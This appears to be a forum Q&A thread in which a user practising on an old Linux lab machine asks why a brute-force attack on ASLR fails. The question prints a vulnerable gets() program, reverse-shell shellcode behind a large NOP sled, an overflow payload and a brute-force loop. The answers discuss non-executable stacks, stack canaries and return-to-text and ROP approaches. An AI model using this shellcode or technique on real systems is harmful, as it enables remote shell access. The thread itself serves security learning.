2

I have been trying to bruteforce the ASLR implementation on my machine, for practice. First, I make sure that ASLR is turned on.

cat /proc/sys/kernel/randomize_va_space
1

The machine I am using is :-

bt ~ # uname -a
Linux bt 2.6.20-BT-PwnSauce-NOSMP #3 Sat Feb 24 15:52:59 GMT 2007 i686 pentium3 i386 GNU/Linux

My program is simple, as follows.

bt ~ # cat t.c
#include<stdio.h>


int main(int argc, char **argv) {
char buffer[50];
gets(buffer);
return 0;
}

In order to exploit this, I create an environment variable as follows. As you can see, it has a really huge nop sled with the exploit code for a reverse shell.

export EGG=`perl -e 'print "\x90"x64000 . "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xac\x10\x00\x01\x66\x68\x11\x5c\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"'`

I find out the address of the environment variable using the following C program:

int main(int argc, char **argv) {
printf("%p\n", getenv(argv[1]));
return 0;
}

I get the address as 0xbfefadfd.

I figure out that overflowing the return address takes 76 bytes of something + 4 bytes of the return address. So, in order to bruteforce I do:-

$ echo `perl -e 'print "A"x76 . "\xfd\xad\xef\xbf"'` > file
$ while true; do ./t < file; done

As expected I get a log of segmentation faults, however, I do not get a reverse shell even after running the program for about 30 minutes. Something Im doing wrong here?

  • 1
    are the answers not related to your question? – Nam Nguyen May 17 '11 at 15:27
  • they are related, however, they don't solve my problem(unfortunately). I have voted up all the answers as they offer valid explanations, but I can't choose any as an answer. –  May 25 '11 at 11:25
  • 1
    have you checked if the stack is executable, run the app under a debugger? – Nam Nguyen May 25 '11 at 14:03

3 Answers3

2

There is a few things you must take into consideration. 1. Your shellcode must match your architecture. (this is easy to test). 2. Because you put your shellcode on the stack, you must make sure the stack is executable. One way to achieve this is to compile with the "-z execstack" -flag to gcc.

Also, there might be other approaches which might increase your chances to hit the correct address.

user754500
  • 21
  • 1
2

It could be that the stack is non executable. You could check with readelf. If the GNU_STACK section is not marked executable, your application has NX stack.

By the way, there is a better approach to defeat ASLR in this case.

What you could do is returning to .text section whose address is unchanged by ASLR. pop-ret, pop-pop-ret would pop the stack out until you reach some "usable" values. What is usable is highly situational. Usually, you'll look for pointers to input strings, env vars, etc.

Also, Return Oriented Programming (ROP) is a buzz word nowadays. Check it out.

Nam Nguyen
  • 1,765
  • 9
  • 13
1

I don't know which platform you are trying this on, but it's very likely that aside from ASLR your gcc default to using a stack canary/protection as well. To disable this compile with -fno-stack-protector.

nintendawg
  • 11
  • 1
  • its linux with a 2.6 kernel and im using an older version of gcc(one that does not offer stack protection) –  May 15 '11 at 12:25